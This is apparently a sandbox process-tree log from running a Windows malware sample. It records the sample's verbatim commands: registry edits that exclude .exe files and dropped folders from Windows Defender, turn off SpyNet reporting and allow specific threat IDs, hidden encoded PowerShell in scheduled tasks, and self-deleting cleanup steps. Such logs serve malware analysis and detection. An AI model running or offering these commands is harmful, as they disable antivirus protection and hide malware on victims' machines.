PID:4696

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
9⤵
PID:5224

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
10⤵
PID:5156

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
10⤵
PID:3020

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
8⤵
PID:5140

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
- Executes dropped EXE
PID:1684

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
9⤵
PID:3412

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
10⤵
PID:4172

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
10⤵
PID:3304

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gMepDITMS" /SC once /ST 03:52:47 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
8⤵
- Creates scheduled task(s)
PID:4676

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gMepDITMS"
8⤵
PID:3808

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gMepDITMS"
8⤵
PID:3540

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "booXbIzkEgfNdKvxAC" /SC once /ST 14:31:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\UMyAYFP.exe\" j6 /site_id 525403 /S" /V1 /F
8⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:3388

C:\Users\Admin\Documents\3g0IgBY60ub3CvBAsgc379yk.exe
"C:\Users\Admin\Documents\3g0IgBY60ub3CvBAsgc379yk.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:4956

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im 3g0IgBY60ub3CvBAsgc379yk.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\3g0IgBY60ub3CvBAsgc379yk.exe" & del C:\ProgramData\*.dll & exit
6⤵
PID:4740

C:\Windows\SysWOW64\taskkill.exe
taskkill /im 3g0IgBY60ub3CvBAsgc379yk.exe /f
7⤵
- Kills process with taskkill
PID:5756

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
7⤵
- Delays execution with timeout.exe
PID:4728

C:\Users\Admin\Documents\r35TCn0GDtnXO3pfSPOnXYkS.exe
"C:\Users\Admin\Documents\r35TCn0GDtnXO3pfSPOnXYkS.exe"
5⤵
- Executes dropped EXE
PID:1424

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\Documents\r35TCn0GDtnXO3pfSPOnXYkS.exe
6⤵
PID:3580

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 0
7⤵
PID:1672

C:\Users\Admin\Documents\A6zb10898hiGPr_Ur8kgu5Jl.exe
"C:\Users\Admin\Documents\A6zb10898hiGPr_Ur8kgu5Jl.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:1180

C:\Users\Admin\Documents\cH77YTGLBZylxXs05i9lqwCP.exe
"C:\Users\Admin\Documents\cH77YTGLBZylxXs05i9lqwCP.exe"
5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3940

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sotema_3.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:3808

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sotema_1.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:4652

C:\Users\Admin\AppData\Local\Temp\7zSC765532D\sotema_1.exe
sotema_1.exe
4⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3700

C:\Windows\SysWOW64\rUNdlL32.eXe
"C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",axhub
5⤵
- Loads dropped DLL
PID:4340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4340 -s 616
6⤵
- Program crash
PID:4468

C:\Users\Admin\AppData\Local\Temp\7zSC765532D\sotema_3.exe
sotema_3.exe
1⤵
- Executes dropped EXE
- Modifies system certificate store
PID:2224

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2224 -s 1032
2⤵
- Program crash
PID:5320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4340 -ip 4340
1⤵
PID:3484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2292 -ip 2292
1⤵
PID:1912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 636 -ip 636
1⤵
PID:2864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1684 -ip 1684
1⤵
PID:4572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 5084 -ip 5084
1⤵
PID:2864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2292 -ip 2292
1⤵
PID:752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1684 -ip 1684
1⤵
PID:1820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 636 -ip 636
1⤵
PID:3112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 5084 -ip 5084
1⤵
PID:6104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 2224 -ip 2224
1⤵
PID:5136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 5084 -ip 5084
1⤵
PID:5180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5084 -ip 5084
1⤵
PID:5336

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:2148

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:3772

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:3304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 5084 -ip 5084
1⤵
PID:3428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5084 -ip 5084
1⤵
PID:1892

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 372 -p 5084 -ip 5084
1⤵
PID:2168

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 5084 -ip 5084
1⤵
PID:4312

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 5084 -ip 5084
1⤵
PID:5760

C:\Users\Admin\AppData\Roaming\ccsbiiu
C:\Users\Admin\AppData\Roaming\ccsbiiu
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4132

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:5588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 5364 -ip 5364
1⤵
PID:5308

C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\UMyAYFP.exe
C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\UMyAYFP.exe j6 /site_id 525403 /S
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:5484

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:6116

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
PID:4560

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:2032

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:4800

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:5184

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:4728

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:388

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:448

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:1896

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:4016

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:3864

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:3548

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:5320

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:5100

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:3928

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:3312

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:5192

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:4060

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:2244

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:4460

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:4312

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:5948

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:1416

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:5400

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:5368

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:1564

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QMuGxDzxU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QMuGxDzxU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YhmfbgEUeceU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YhmfbgEUeceU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\iTBLcazoBHNRC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\iTBLcazoBHNRC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rYNYBiCjmUUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rYNYBiCjmUUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hnkumIqTRwUxQLVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hnkumIqTRwUxQLVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\RHdUtmclRPrQNqWD\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\RHdUtmclRPrQNqWD\" /t REG_DWORD /d 0 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1512

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1992

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2692

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4196

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YhmfbgEUeceU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3736

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YhmfbgEUeceU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:5724

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3992

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3784

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\iTBLcazoBHNRC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4556

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\iTBLcazoBHNRC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1908

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rYNYBiCjmUUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1048

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rYNYBiCjmUUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1500

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hnkumIqTRwUxQLVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:2852

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hnkumIqTRwUxQLVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:3360

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA /t REG_DWORD /d 0 /reg:32
3⤵
PID:2832

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA /t REG_DWORD /d 0 /reg:64
3⤵
PID:2448

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\RHdUtmclRPrQNqWD /t REG_DWORD /d 0 /reg:32
3⤵
PID:1420

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\RHdUtmclRPrQNqWD /t REG_DWORD /d 0 /reg:64
3⤵
PID:3316

C:\Windows\SysWOW64\schtasks.exe
